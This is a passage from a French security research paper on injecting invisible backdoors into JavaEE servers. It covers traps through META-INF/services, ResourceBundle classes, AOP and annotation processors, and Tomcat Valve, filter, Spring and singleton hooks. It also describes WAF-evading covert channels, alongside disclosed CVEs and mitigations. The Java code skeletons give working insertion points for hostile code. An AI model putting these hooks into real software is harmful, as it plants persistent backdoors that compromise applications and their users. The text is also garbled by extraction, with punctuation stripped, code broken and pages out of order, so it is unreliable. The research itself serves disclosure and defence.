De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 391

2 Sinon recherche drsquoune ressource META-INFservicesorgapachecommonslog-gingLogFactory

3 Sinon lecture de la ressource commons-loggingproperties pour y trouver laclef orgapachecommonsloggingLogFactory

4 Sinon utilisation drsquoune valeur par defaut orgapachecommonsloggingim-plLogFactoryImpl

La deuxieme etape est la plus interessante pour le pirate en effet en diffusant unearchive avec ce fichier il est possible drsquoexecuter du code Ce dernier doit continuer leprocessus avec les etapes 2 a 4 pour rendre invisible sa presence

Drsquoautres frameworks standards utilisent la meme approche parmi lesquels ndash META-INFservicesjavaxxmlparsersSAXParserFactory

ndash META-INFservicesjavaxxmlparsersDocumentBuilderFactory

ndash META-INFservicesorgapacheaxisEngineConfigurationFactory

ndash Il est donc aise de publier ces fichiers pour injecter du comportement Par exemple

pour detourner lrsquoutilisation drsquoun analyseur SAX il faut en proposer un qui delegueses traitements vers le suivant

public static class MonSAXParserFactory

extends SAXParserFactory

private final SAXParserFactory next_

Calc next parser

private static SAXParserFactory getNextSAXParser ()

return

public SAXParserFactory ()

next_=protectctrSAXParser ()

Inject code here

public Schema getSchema ()

return next_getSchema ()

La seule presence du fichier META-INFservicesjavaxxmlparsersSAXParser-Factory contenant le nom de la classe drsquoimplementation MonSAXParserFactory

permet de detourner les traitements sans devoir beneficier de privileges particuliersLes portes drsquoentrees de ce type sont legions httpwwwgooglecomcodesearch

q=META-INF+providers

392 Porte derobee dans les serveurs drsquoapplications JavaEE

En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee

Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins

Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet

Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant

ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN

httpwwweclipseorgaspectjdtdaspectjdtdgt

ltaspectj gt

ltweaver gt

ltinclude within= Servlet gt

ltinclude within=jsp gt

ltweaver gt

ltaspects gt

ltaspect

name=comgooglecodemacaronMyAspect gt

ltaspects gt

ltaspectj gt

Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs

ResourceBundlegetBundle(Messages)get(hello)

Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements

P Prados 393

Fig 2 Lecture de properties

du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee

Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties

Fig 3 Lecture de properties avec classes

Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur

public static class Messages

extends PropertyResourceBundle

public Messages () throws IOException

super(MessagesclassgetResourceAsStream(

rsquorsquo+MessagesclassgetName ()

replace(rsquorsquorsquorsquo)+properties))

Inject code here

394 Porte derobee dans les serveurs drsquoapplications JavaEE

De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava

Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non

Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

Object run()

ResourceBundlegetBundle(innocent)

getString(key) Oups

return null

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins

Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee

Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation

ltcontextcomponent -scan base -package=orgmonprojetgt

Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte

P Prados 395

Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet

Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications

En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms

Fig 4 Repartition des classes dans Tomcat 5

Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles

La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu

396 Porte derobee dans les serveurs drsquoapplications JavaEE

Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active

24 Les techniques drsquoinjections

Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte

Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes

Fig 5 Point drsquoinsertions

Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution

ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation

P Prados 397

Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication

Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier

Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web

ltfilter gt

ltfilter -namegtMacaron ltfilter -namegt

ltfilter -class gtMacaronFilter ltfilter -class gt

ltfilter gt

ltfilter -mapping gt

ltfilter -namegtMacaron ltfilter -namegt

lturl -pattern gtlturl -pattern gt

ltfilter -mapping gt

Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications

Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas

Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets

ServletContextaddFilter ()

De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml

ltweb -fragment gt

ltfilter gt

3 httpwwwsecurityorgsgcodejspreversehtml

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

